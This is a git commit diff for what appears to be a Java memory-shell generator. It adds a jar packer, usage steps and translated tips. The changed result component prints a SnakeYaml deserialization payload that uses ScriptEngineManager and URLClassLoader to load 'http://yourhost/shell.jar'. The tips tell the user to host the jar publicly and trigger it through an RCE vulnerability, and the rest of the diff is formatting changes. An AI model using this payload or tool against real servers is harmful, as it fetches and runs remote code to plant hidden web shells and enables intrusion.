feat: support scriptEngineJar packer

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent 5e8529a0c7
commit 59fd17355b
25 changed files with 389 additions and 82 deletions
BIN
View File
Binary file not shown.
@@ -395,7 +395,9 @@ export default function MainConfigCard({
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
</FormItem>
)}
/>
@@ -1,27 +1,79 @@
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import { Button } from "@/components/ui/button";
import { downloadBytes } from "@/lib/utils";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Separator } from "@/components/ui/separator";
import { downloadBytes, formatBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell";
export function JarResult({
packMethod,
packResult,
generateResult,
}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) {
}: Readonly<{
packMethod: string;
packResult: string;
generateResult?: MemShellResult;
}>) {
const { t } = useTranslation();
const isPureJar = packMethod === "Jar";
return (
<div className="flex items-center justify-center">
<Button
type="button"
onClick={() =>
downloadBytes(
packResult,
undefined,
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
)
}
>
{t("common:download")} Jar
</Button>
</div>
<Card>
<CardHeader>
<CardTitle className="text-md flex items-center gap-2">
<ScrollTextIcon className="h-5" />
<span>{t("common:usage")}</span>
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
<li className="flex items-center justify-between">
<span>
{t("common:download")} shell.jar (
{formatBytes(atob(packResult).length)})
</span>
<Button
size="sm"
variant="outline"
className="w-28"
type="button"
onClick={() =>
downloadBytes(
packResult,
undefined,
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
)
}
>
{t("common:download")}
</Button>
</li>
<Separator />
{isPureJar ? (
<>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
</>
) : (
<>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
<CodeViewer
code={`!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://yourhost/shell.jar"]
]]
]`}
language="java"
showLineNumbers={false}
wrapLongLines={true}
header={<div className="text-xs">SnakeYaml Payload</div>}
/>
</>
)}
</ol>
</CardContent>
</Card>
);
}
@@ -18,7 +18,7 @@ export function ResultComponent({
}>) {
const showCode = packMethod === "JSP";
const isAgent = packMethod.startsWith("Agent");
const isJar = packMethod === "Jar";
const isJar = packMethod.endsWith("Jar");
const { t } = useTranslation();
if (allPackResults) {
return (
@@ -29,7 +29,6 @@ export function ResultComponent({
/>
);
}
if (isAgent) {
return (
<AgentResult
@@ -42,31 +41,28 @@ export function ResultComponent({
if (isJar) {
return (
<JarResult
packMethod={packMethod}
packResult={packResult ?? ""}
generateResult={generateResult}
/>
);
}
if (!isAgent && !isJar) {
return (
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<span>
{t("common:packerMethod")}{packMethod}
</span>
<span className="text-muted-foreground">
({packResult?.length})
</span>
</div>
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={350}
/>
);
}
return null;
return (
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<span>
{t("common:packerMethod")}{packMethod}
</span>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={350}
/>
);
}
@@ -18,8 +18,7 @@ export function OptionalClassFormField({
const initialShellClassName = form.getValues("shellClassName") ?? "";
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
const [useRandomClassName, setUseRandomClassName] = useState(
() =>
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
() => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
);
const [savedShellClassName, setSavedShellClassName] = useState(
initialShellClassName,
@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const renderDynamicFields = useCallback(() => {
const isBodyMethod = watchedProbeMethod === "ResponseBody";
const needParam =
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
watchedProbeContent === "Command" ||
watchedProbeContent === "Bytecode" ||
watchedProbeContent === "ScriptEngine";
const isSleepMethod = watchedProbeMethod === "Sleep";
const isServerContent = watchedProbeContent === "Server";
+4 -1
View File
@@ -54,5 +54,8 @@
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
"tips.targetServerNotFound": "Target server not found?",
"tips.targetServerRequest": "Request",
"tips.try-to-use-shell": "Try to use the memory shell"
"tips.try-to-use-shell": "Try to use the memory shell",
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
}
+3 -3
View File
@@ -55,7 +55,7 @@
"tips.targetServerNotFound": "找不到目标服务?",
"tips.targetServerRequest": "请求适配",
"tips.try-to-use-shell": "尝试利用内存马",
"shellNotWork": {
"title": "利用失败?"
}
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
}
+1 -1
View File
@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
seconds: 5,
sleepServer: "Tomcat",
shrink: true,
staticInitialize: true
staticInitialize: true,
},
});
+1 -1
View File
@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
debug: yup.boolean().optional(),
byPassJavaModule: yup.boolean().optional(),
shrink: yup.boolean().optional(),
staticInitialize: yup.boolean().optional()
staticInitialize: yup.boolean().optional(),
});
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
+2 -2
View File
@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
const injectorConfig: InjectorConfig = {
urlPattern: formValue.urlPattern,
injectorClassName: formValue.injectorClassName,
staticInitialize: formValue.staticInitialize
staticInitialize: formValue.staticInitialize,
};
return {
shellConfig,
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
shrink: formValue.shrink,
debug: formValue.debug,
byPassJavaModule: formValue.byPassJavaModule,
staticInitialize: formValue.staticInitialize
staticInitialize: formValue.staticInitialize,
};
const probeContentConfig: ProbeContentConfig = {
host: formValue.host,